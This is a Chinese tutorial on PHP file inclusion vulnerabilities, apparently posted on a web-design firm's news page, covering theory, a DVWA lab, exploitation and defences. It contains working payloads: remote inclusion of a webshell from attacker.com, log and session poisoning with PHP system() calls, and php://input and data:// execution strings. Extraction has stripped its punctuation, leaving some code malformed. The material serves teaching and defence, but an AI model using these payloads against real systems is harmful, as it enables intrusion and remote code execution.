资讯动态

Web安全攻防:文件包含漏洞原理、利用与防御实战指南

发布时间:2026/8/14 21:03:46 来源:尧图企业网站定制
在CTF比赛和日常渗透测试中文件包含漏洞File Inclusion是Web安全领域一个经典且危害巨大的漏洞类型。它允许攻击者通过Web应用程序的动态文件包含功能读取或执行服务器上的任意文件甚至结合其他漏洞实现远程代码执行RCE。很多开发者在编写代码时由于对用户输入过滤不严或对包含函数理解不深极易引入此类风险。本文将系统性地剖析文件包含漏洞的原理、类型、利用手法并提供一个完整的实战靶场以“青岑网安”系列为背景演练最后给出从开发到运维全流程的防御方案。无论你是刚接触Web安全的新手还是希望巩固知识体系的安全爱好者都能通过本文构建一套完整的文件包含漏洞攻防认知。1. 文件包含漏洞核心概念与原理在深入漏洞利用之前我们必须理解文件包含机制本身。文件包含是许多编程语言如PHP、JSP提供的一种代码复用机制旨在提高开发效率。1.1 什么是文件包含文件包含允许开发者在一个脚本中引入并执行另一个脚本文件的内容。这类似于C/C中的#include预处理器指令。被包含的文件可以是本地文件也可以是在某些危险配置下远程文件。主要作用代码复用将公共的头部、尾部、函数库、配置文件如数据库连接信息单独存放避免重复编码。模块化开发使项目结构更清晰便于维护。1.2 包含函数与漏洞成因以最典型的PHP语言为例其提供了四个主要的文件包含函数include()包含并运行指定文件。如果包含失败如文件不存在会发出一个警告E_WARNING但脚本会继续执行。require()与include()类似但如果包含失败会产生一个致命错误E_COMPILE_ERROR并终止脚本执行。include_once()与include()功能相同但会检查该文件是否已经被包含过。如果是则不会再次包含避免函数重定义等问题。require_once()与require()功能相同同样具有“只包含一次”的特性。漏洞产生的根本原因在于这些包含函数的参数即文件路径完全或部分可控。如果开发者未对用户传入的参数进行严格的过滤和校验攻击者就可以通过构造特殊的路径让应用程序包含非预期的文件。一个危险的真实代码示例// vuln.php - 存在漏洞的代码 $page $_GET[page]; // 直接接收用户输入 include($page . .php); // 拼接后缀后直接包含在这段代码中程序期望用户传入如?pagehome的参数然后包含home.php文件。但如果攻击者传入?page../../etc/passwd则实际尝试包含的文件路径就变成了../../etc/passwd.php。通过利用路径遍历和空字节截断等技巧攻击者可能成功读取到系统的/etc/passwd文件。1.3 文件包含与文件上传漏洞的关系这是一个常见的误区。文件包含漏洞和文件上传漏洞是两种独立的漏洞但它们可以形成致命的“组合拳”。文件上传漏洞允许攻击者将恶意文件如Webshell上传到服务器特定目录。文件包含漏洞允许攻击者通过Web请求去执行服务器上的某个文件。如果网站同时存在文件上传和文件包含漏洞攻击者可以利用文件上传漏洞将一个包含PHP代码的图片马如shell.jpg上传到服务器。利用文件包含漏洞去包含这个上传的shell.jpg文件。由于PHP解释器会解析文件内容只要文件内容包含有效的PHP标签其中的代码就会被执行从而获得一个Webshell。这种利用方式不依赖于allow_url_include配置危害性极高。2. 环境准备与靶场搭建为了安全、合法地学习和研究文件包含漏洞我们必须在隔离的环境中进行。强烈建议使用虚拟机搭建靶场。2.1 靶机环境说明本文演示环境基于经典的DVWA (Damn Vulnerable Web Application)或Web for Pentester等集成靶场。你也可以使用“青岑网安”提供的专属练习环境。操作系统Kali Linux 或 Ubuntu用于攻击机Windows/Linux用于运行靶场Web服务器Apache / NginxPHP版本5.x 或 7.x不同版本特性有差异PHP 5.x 的空字节截断漏洞在 5.3.4 后被修复PHP 7.x 的配置更严格数据库MySQL可选用于一些综合漏洞场景靶场应用DVWA (设置安全等级为low)2.2 快速搭建DVWA靶场如果你还没有现成环境可以按以下步骤在本地快速搭建安装Docker推荐这是最快捷的方式。# 拉取DVWA镜像 docker pull vulnerables/web-dvwa # 运行容器将容器的80端口映射到本地的8080端口 docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa访问http://localhost:8080按照页面提示完成数据库初始化默认账号admin密码password。传统LAMP环境安装# Ubuntu/Debian 示例 sudo apt update sudo apt install apache2 mysql-server php libapache2-mod-php php-mysql # 下载DVWA wget https://github.com/digininja/DVWA/archive/master.zip unzip master.zip sudo mv DVWA-master /var/www/html/dvwa # 配置权限和数据库 cd /var/www/html/dvwa/config cp config.inc.php.dist config.inc.php # 编辑config.inc.php设置数据库密码等 sudo chown -R www-data:www-data /var/www/html/dvwa访问http://localhost/dvwa/setup.php进行安装。2.3 安全须知重要声明所有实验必须在你自己拥有完全控制权的虚拟机或隔离网络中进行。严禁对未授权的任何网站或系统进行测试否则将构成违法行为后果自负。3. 文件包含漏洞类型深度解析文件包含漏洞主要分为两类本地文件包含LFI和远程文件包含RFI。理解它们的区别和利用条件至关重要。3.1 本地文件包含本地文件包含Local File Inclusion, LFI攻击者能够包含并读取或执行服务器本地的文件。利用条件只要存在文件包含点且用户输入可控无需特殊配置即可尝试LFI。危害敏感信息泄露读取系统配置文件/etc/passwd,/etc/shadow、Web应用配置文件config.php,.env、日志文件等。源代码泄露通过包含Web应用本身的.php文件有时能直接看到源代码如果配置不当PHP代码不会被解析而直接以文本形式输出。配合其他漏洞实现RCE这是LFI最危险的利用方式。例如结合日志文件、/proc/self/environ、PHP封装协议等将恶意代码写入一个可被包含的文件进而执行。经典LFI利用示例DVWA Low级别访问DVWA的File Inclusion模块安全级别设为Low。观察URLhttp://localhost/dvwa/vulnerabilities/fi/?pagefile1.php尝试包含/etc/passwdhttp://localhost/dvwa/vulnerabilities/fi/?page../../../../etc/passwd成功的话页面会显示Linux系统的用户列表。3.2 远程文件包含远程文件包含Remote File Inclusion, RFI攻击者能够包含并执行位于远程服务器攻击者控制上的文件。利用条件比LFI更为苛刻需要PHP配置文件中两个选项同时开启allow_url_fopen On默认常为Onallow_url_include On默认通常为Off危害直接实现远程代码执行。攻击者可以在自己的服务器上放置一个包含PHP代码的文本文件然后让目标网站去包含这个远程URL其中的代码就会在目标服务器上执行。经典RFI利用示例假设目标站点http://vulnerable-site.com/page.php?filewelcome存在RFI漏洞且allow_url_include为On。攻击者在自己的服务器http://attacker.com/上放置一个文件shell.txt内容为?php system($_GET[cmd]); ?构造攻击URLhttp://vulnerable-site.com/page.php?filehttp://attacker.com/shell.txt目标站点的page.php会去包含http://attacker.com/shell.txt的内容并将其作为PHP代码执行。此时攻击者可以进一步利用cmd参数执行命令http://vulnerable-site.com/page.php?filehttp://attacker.com/shell.txtcmdid页面将返回执行id命令的结果。重要变化在现代PHP版本5.2和主流框架中allow_url_include默认关闭且开发规范明确禁止动态包含远程文件因此纯粹的RFI漏洞已较少见。但LFI及其变种利用依然广泛存在。4. 文件包含漏洞高级利用技巧仅仅读取/etc/passwd只是开始。安全研究人员和攻击者发展出了多种高级技巧将LFI的危害提升到RCE级别。4.1 利用日志文件注入代码这是最经典的LFI to RCE技巧之一。Web服务器如Apache、Nginx和PHP本身都会记录访问日志和错误日志。攻击者可以将PHP代码作为HTTP请求的一部分发送使其被记录到日志文件中然后利用LFI漏洞去包含这个日志文件从而执行代码。利用步骤以Apache日志为例找到日志路径通常为/var/log/apache2/access.log或/var/www/logs/access.log。可以通过LFI漏洞读取一些已知文件或报错信息来推测。污染日志使用Burp Suite、Curl或浏览器向目标网站发送一个包含PHP代码的请求。curl -A ?php system(\$_GET[c]); ? http://target-site.com/这里-A参数设置了User-Agent头我们的恶意代码被写入User-Agent字段。同样也可以污染Referer或GET参数如果它们被记录。包含日志文件利用LFI漏洞包含Apache的access.log文件。http://target-site.com/vuln.php?page/var/log/apache2/access.log执行命令现在日志文件已被包含其中的PHP代码会被执行。我们可以通过c参数传递系统命令。http://target-site.com/vuln.php?page/var/log/apache2/access.logcid注意事项日志文件通常很大包含可能导致超时或内存耗尽。可以尝试先截断或清理日志如果权限允许或者使用tail命令的原理只包含最后几行。4.2 利用PHP内置封装协议PHP提供了一系列“封装协议”它们可以像普通文件系统一样被include、fopen等函数使用。这在文件包含漏洞中提供了强大的利用手段。常用协议php://filter用于数据流过滤。在LFI中最常用于读取PHP文件源码。因为直接包含.php文件会导致其被执行而非显示源码。使用filter可以将其内容以base64等编码形式读出。?pagephp://filter/convert.base64-encode/resourceindex.php读取到的内容是base64编码解码后即可获得index.php的源代码。resource后面可以接相对或绝对路径。php://input可以访问请求的原始数据即HTTP POST请求的body部分。需要allow_url_includeOn。利用方式是通过POST请求在body中直接写入PHP代码。GET: ?pagephp://input POST Body: ?php system(id); ?data://数据流封装器。需要allow_url_includeOn。允许在URL中包含数据。?pagedata://text/plain,?php system(id);? // 或使用base64避免特殊字符问题 ?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8expect://用于执行系统命令。需要安装并启用expect扩展该扩展默认不安装因此利用条件苛刻。?pageexpect://id4.3 利用/proc文件系统Linux系统的/proc是一个虚拟文件系统包含了大量关于进程和系统的信息。其中一些文件可以被利用。/proc/self/environ包含了当前进程即Web服务器进程的环境变量。其中HTTP_USER_AGENT、HTTP_REFERER等字段可能被用户控制。攻击者可以像污染日志一样通过修改HTTP头将代码注入environ文件然后包含它。curl -H User-Agent: ?php system(id);? http://target-site.com/vuln.php?page/proc/self/environ注意现代系统中对/proc/[pid]/environ的读取权限控制更严格可能无法被Web用户读取。/proc/self/fd/[num]文件描述符。有时可能包含临时文件、上传文件或日志的句柄但利用难度较大。4.4 利用Session文件PHP会将Session数据存储在服务器上的文件中位置由session.save_path配置。Session文件的内容部分可控通过$_SESSION数组。如果攻击者能预测或获取到自己的Session文件路径通常包含Session ID并且能将PHP代码写入Session那么包含该Session文件即可执行代码。利用条件知道Session存储路径默认如/tmp。知道或能获取自己的Session ID通常通过CookiePHPSESSID。Session数据部分可控例如程序将用户输入的某个值存入了$_SESSION。利用步骤设置Cookie:PHPSESSIDattacker。向应用提交数据使程序将?php system(id);?保存到$_SESSION[data]中。Session文件路径可能为/tmp/sess_attacker。利用LFI包含该文件?page/tmp/sess_attacker。4.5 利用上传功能与包含组合如前所述这是最直接有效的LFI to RCE方式。找到一个文件上传点上传一个内容为?php system($_GET[c]);?的文件如图片马shell.jpg。通过上传响应或路径遍历猜测确定文件在服务器上的存储路径如/uploads/shell.jpg。利用LFI漏洞包含这个上传文件?page./uploads/shell.jpgcid。5. 实战演练DVWA文件包含漏洞全流程利用我们以DVWA安全级别设为Low的File Inclusion模块为例进行从信息收集到RCE的完整实战。5.1 环境与目标确认目标URLhttp://localhost:8080/vulnerabilities/fi/漏洞参数page(GET)目标读取系统文件并最终实现命令执行。5.2 第一步基础LFI测试尝试包含/etc/passwd确认漏洞存在。http://localhost:8080/vulnerabilities/fi/?page../../../../etc/passwd页面成功返回用户列表证明存在目录遍历漏洞且可以包含任意文件。5.3 第二步使用PHP Filter读取源码我们想看看漏洞文件include.php的源代码以了解其过滤逻辑。http://localhost:8080/vulnerabilities/fi/?pagephp://filter/convert.base64-encode/resourceinclude.php页面返回一串base64编码的字符串。复制它使用命令行或在线工具解码echo PD9waHAgLi4u | base64 -d # Linux/Mac # 或者使用Python python3 -c import base64; print(base64.b64decode(PD9waHAgLi4u).decode())解码后得到include.php的源码发现它只是简单地在用户输入后拼接了.php后缀没有任何过滤。5.4 第三步利用日志文件实现RCE确定日志路径DVWA通常运行在Apache下。尝试包含常见的日志路径。http://localhost:8080/vulnerabilities/fi/?page../../../../var/log/apache2/access.log如果成功页面会显示大量的访问日志。如果失败可以尝试/var/log/httpd/access_log或通过读取/proc/self/environ来查找APACHE_LOG_DIR环境变量。污染日志使用Burp Suite拦截对DVWA首页的请求修改User-Agent头为我们的PHP代码。GET /dvwa/ HTTP/1.1 Host: localhost:8080 User-Agent: ?php system($_GET[cmd]);? ...发送这个请求。包含日志并执行命令现在我们的代码已经被写入access.log。回到文件包含页面包含日志文件并添加cmd参数。http://localhost:8080/vulnerabilities/fi/?page../../../../var/log/apache2/access.logcmdid观察页面如果成功你会在日志内容的末尾看到id命令的执行结果如uid33(www-data) gid33(www-data) groups33(www-data)。5.5 第四步使用封装协议直接执行代码如果配置允许尝试使用php://input。将请求方法改为POST。URL为http://localhost:8080/vulnerabilities/fi/?pagephp://input在POST Body中写入?php system(whoami); ?发送请求。如果服务器配置了allow_url_includeOn则会直接执行whoami命令。在DVWA默认的Docker镜像中此配置通常是关闭的因此此方法可能失败。6. 文件包含漏洞的防御方案防御文件包含漏洞的核心原则是严格控制包含文件的路径使其完全不可被用户操控或对用户输入进行极其严格的过滤。6.1 白名单机制最有效这是最推荐的防御方式。定义一个允许包含的文件列表白名单用户传入的参数只能在这个列表中选取。// 安全代码示例 $allowed_pages array(home.php, about.php, contact.php); $page $_GET[page]; if (in_array($page, $allowed_pages)) { include(./templates/ . $page); } else { include(./templates/error.php); // 或直接die(Invalid page!); }即使攻击者传入../../../etc/passwd因为不在白名单内也不会被包含。6.2 严格过滤用户输入如果业务上无法使用白名单必须对输入进行严格过滤。剥离目录遍历字符使用str_replace或正则表达式过滤掉../,..\,./,.\等字符。注意双写、编码等绕过方式。$page str_replace(array(../, ..\\, ./, .\\), , $_GET[page]); // 注意这种简单替换可能被 ....// 绕过需要递归过滤或使用更严格的方法限制文件扩展名确保包含的文件具有正确的扩展名如.php。但要注意如果攻击者能控制文件内容如上传包含.jpg文件也可能执行PHP代码。使用basename()函数该函数返回路径中的文件名部分会自动剥离目录。$page basename($_GET[page]); include(./templates/ . $page . .php);这样无论用户传入../../../etc/passwd还是/absolute/path/to/file最终$page都只会是passwd或file。6.3 设置PHP安全配置在php.ini中进行全局安全加固allow_url_include Off务必关闭。这是防止RFI的最关键配置。allow_url_fopen Off如果业务不需要从远程URL打开文件建议关闭。open_basedir将PHP可操作的文件限制在指定的目录树中。例如open_basedir /var/www/html:/tmp这样PHP脚本就无法访问/etc、/home等目录。注意open_basedir不是万能的有被绕过的历史应作为纵深防御的一环而非唯一手段。disable_functions禁用危险函数如system,exec,passthru,shell_exec,proc_open等。即使攻击者实现了文件包含也无法执行系统命令。disable_functions system,exec,passthru,shell_exec,proc_open,popen6.4 安全编程实践避免动态包含尽可能使用静态包含或自动加载机制如Composer, PSR-4。使用绝对路径如果必须动态包含使用基于项目根目录的绝对路径而非用户提供的相对路径。代码审计在代码审查中重点关注include,require,include_once,require_once等函数的参数来源。最小权限原则运行Web服务的用户如www-data应具有最小必要的文件系统读取权限。6.5 Web服务器加固配置日志权限确保Web服务器日志文件如access.log的权限尽可能严格避免被Web用户读取。隔离上传目录将用户上传的文件存储在Web根目录之外或者确保该目录下的脚本文件无法被执行通过配置Nginx/Apache的location规则禁止解析该目录下的PHP等脚本。# Nginx 配置示例 location ^~ /uploads/ { deny all; # 或者只允许静态文件访问禁止执行 # location ~ \.php$ { deny all; } # 禁止执行PHP }7. 常见问题与排查清单在实际渗透测试或代码审计中遇到文件包含漏洞时可以按照以下清单进行系统化的测试和排查。7.1 漏洞探测清单测试步骤测试Payload示例预期结果与判断基础路径遍历?file../../../../etc/passwd成功读取 - 存在LFI空字节截断?file../../../etc/passwd%00(PHP5.3.4)成功读取 - 存在截断漏洞编码绕过?file..%2f..%2f..%2fetc%2fpasswd成功读取 - 存在解码后包含PHP Filter读源码?filephp://filter/convert.base64-encode/resourceindex.php返回base64编码 - 可读源码测试RFI?filehttp://attacker.com/test.txt执行远程代码或报错包含远程内容 - 存在RFI测试Data协议?filedata://text/plain,?php phpinfo();?显示phpinfo页面 - 存在RFI且配置允许测试Input协议POST: ?filephp://inputBody:?php phpinfo();?显示phpinfo页面 - 存在RFI且配置允许查找日志路径?file../../../../var/log/apache2/access.log显示访问日志 - 找到可利用日志查找Session路径?file../../../../tmp/sess_[your_sessid]显示Session数据 - 可能可控7.2 开发排查清单代码审计全局搜索在项目中搜索include,require,include_once,require_once,fopen,file_get_contents等函数。追踪参数检查这些函数的参数是否为用户可控来自$_GET,$_POST,$_COOKIE,$_REQUEST,$_SERVER等超全局变量。检查过滤查看对用户输入是否有过滤白名单、黑名单、路径清洗。过滤逻辑是否严谨能否被绕过如双写、编码、空字节检查配置查看php.ini或运行时配置allow_url_include和allow_url_fopen是否开启检查上下文包含操作是否发生在可上传目录是否可能包含用户上传的文件7.3 漏洞利用失败常见原因路径错误猜解的绝对路径不正确。需要更多信息收集如读取/proc/self/cwd或报错信息。权限不足Web进程用户无权读取目标文件如/etc/shadow。PHP配置限制open_basedir限制了目录disable_functions禁用了命令执行函数。WAF/安全软件拦截请求中包含../,etc/passwd,php://等特征字符串被Web应用防火墙或安全模块拦截。代码逻辑限制程序在包含前强制添加了后缀如.php且无法截断。此时需要寻找无后缀包含的点或利用php://filter等不需要后缀的协议。8. 总结与拓展学习文件包含漏洞看似简单但其利用技巧丰富且常与其他漏洞形成链式攻击危害极大。作为开发者必须在编码阶段就树立安全意识采用白名单等根本性解决方案。作为安全人员需要掌握从信息泄露到RCE的完整利用链并能在复杂的过滤环境下寻找绕过方法。下一步学习建议深入研究PHP封装协议除了php://filter和php://input了解zip://,phar://等协议在反序列化、phar包包含中的利用。学习漏洞组合研究文件包含如何与文件上传、SQL注入、XXE等漏洞结合形成更强大的攻击链。实战靶场进阶在更复杂的靶场如PentesterLab, HackTheBox, VulnHub上的相关镜像中练习面对各种过滤和限制。代码审计实践尝试审计一些开源项目从简单的CMS开始寻找真实的文件包含漏洞并提交漏洞报告。安全是一个持续对抗的过程。理解攻击者的思路是为了能更好地构建防御。希望本文能为你打开Web安全中文件包含漏洞这扇门助你在安全道路上走得更稳更远。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价